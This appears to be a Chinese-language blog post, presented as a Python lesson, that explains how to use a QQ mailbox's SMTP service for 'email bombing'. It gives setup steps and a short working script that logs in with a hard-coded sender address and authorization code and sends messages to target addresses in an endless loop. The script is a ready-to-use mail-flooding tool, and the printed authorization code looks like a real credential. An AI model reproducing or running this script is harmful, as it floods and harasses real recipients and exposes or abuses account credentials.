首页 Python修行正文

如何利用QQ自带POP3/SMTP服务来实现邮件轰炸

欲儿 Python修行 2020-02-11 473 0

这是一段关于python的教学



首先我们需要对用来做发邮件的QQ邮箱进行一定的配置,我这里命名为客服端QQ


首先打开客服端QQ的邮箱,点击设置,再点击账户,开启POP3/SMTP服务,生成授权码


image.png



#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
import smtplib
from email.mime.text import MIMEText
from email.utils import formataddr
 
my_sender='37260@qq.com'    # 发件人邮箱账号
my_pass = 'zlagkxmgqhdfe'     # 发件人邮箱授权码
my_user='××××××@qq.com'      # 收件人邮箱账号(多个账户的话用“,”隔开,后面做split分割字符就是用的它)
def mail():
    ret=True
    try:
        msg=MIMEText('邮件暂无内容','plain','utf-8')
        msg['From']=formataddr(["发送者名称",my_sender])  # 括号里的对应发件人邮箱昵称、发件人邮箱账号
        msg['Subject']="欲儿发送邮件测试"                # 邮件的主题,也可以说是标题
 
        server=smtplib.SMTP_SSL("smtp.qq.com", 465)  
        server.login(my_sender, my_pass)
        server.sendmail(my_sender,my_user.split(','),msg.as_string())  # 括号中对应的是发件人邮箱账号、收件人邮箱账号、发送邮件
        server.quit()  # 关闭连接
    except Exception:  # 如果 try 中的语句没有执行,则会执行下面的 ret=False
        ret=False
    return ret
while (1 > 0):
     ret=mail()
     if ret:
      print("邮件发送成功")
     else:
      print("邮件发送失败")









版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。

评论